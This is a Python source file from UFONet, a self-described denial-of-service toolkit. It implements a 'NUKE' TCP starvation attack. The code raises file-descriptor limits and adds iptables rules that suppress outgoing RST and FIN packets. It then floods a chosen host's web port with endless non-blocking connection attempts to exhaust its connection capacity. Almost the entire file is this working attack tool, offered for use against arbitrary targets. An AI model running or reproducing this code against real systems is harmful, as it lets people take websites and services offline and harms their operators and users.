nuke.py 3.4 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-"
  3. """
  4. UFONet - Denial of Service Toolkit - 2019 - by psy (epsylon@riseup.net)
  5. You should have received a copy of the GNU General Public License along
  6. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  7. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  8. """
  9. import socket, select, os, time, urlparse, resource
  10. # UFONet TCP Starvation (NUKE)
  11. def connect(ip, port):
  12. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  13. s.setblocking(0)
  14. s.connect_ex((ip, port))
  15. return s
  16. def nukeize(ip, port, rounds):
  17. n=0
  18. try: # RFC793 will lacks an exception if reset is not sent
  19. resource.setrlimit(resource.RLIMIT_NOFILE, (100000, 100000)) # modify kernel ulimit to: 100000
  20. os.system("iptables -A OUTPUT -d %s -p tcp --dport %d --tcp-flags RST RST -j DROP"%(ip, port)) # modify IPTABLES
  21. os.system("iptables -A OUTPUT -d %s -p tcp --dport %d --tcp-flags FIN FIN -j DROP"%(ip, port))
  22. epoll = select.epoll()
  23. connections = {}
  24. for x in range (0,int(rounds)):
  25. try:
  26. n=n+1
  27. s = connect(ip, port)
  28. print "[Info] [AI] [NUKE] Firing 'nuke' ["+str(n)+"] -> [SHOCKING!]"
  29. connections[s.fileno()] = s
  30. epoll.register(s.fileno(), select.EPOLLOUT|select.EPOLLONESHOT)
  31. while True:
  32. n=n+1
  33. events = epoll.poll(1)
  34. for fileno, event in events:
  35. s = connections.pop(s.fileno())
  36. print "[Info] [AI] [NUKE] Firing 'nuke' ["+str(n)+"] -> [SHOCKING!]"
  37. if s:
  38. s.close()
  39. s = connect(ip, port)
  40. connections[s.fileno()] = s
  41. epoll.register(s.fileno(), select.EPOLLOUT|select.EPOLLONESHOT)
  42. except:
  43. print "[Error] [AI] [NUKE] Failed to engage with 'nuke' ["+str(n)+"]"
  44. os.system('iptables -D OUTPUT -d %s -p tcp --dport %d --tcp-flags FIN FIN -j DROP' %(ip, port)) # restore IPTABLES
  45. os.system('iptables -D OUTPUT -d %s -p tcp --dport %d --tcp-flags RST RST -j DROP' %(ip, port))
  46. except:
  47. print("[Error] [AI] [NUKE] Failing to engage... -> Is still target online? -> [Checking!]")
  48. class NUKE(object):
  49. def attacking(self, target, rounds):
  50. print "[Info] [AI] TCP Starvation (NUKE) is ready to fire: [" , rounds, "nukes ]"
  51. if target.startswith('http://'):
  52. target = target.replace('http://','')
  53. port = 80
  54. elif target.startswith('https://'):
  55. target = target.replace('https://','')
  56. port = 443
  57. try:
  58. ip = socket.gethostbyname(target)
  59. except:
  60. try:
  61. import dns.resolver
  62. r = dns.resolver.Resolver()
  63. r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
  64. url = urlparse(target)
  65. a = r.query(url.netloc, "A") # A record
  66. for rd in a:
  67. ip = str(rd)
  68. except:
  69. ip = target
  70. if ip == "127.0.0.1" or ip == "localhost":
  71. print "[Info] [AI] [NUKE] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n"
  72. return
  73. nukeize(ip, port, rounds) # attack with NUKE using threading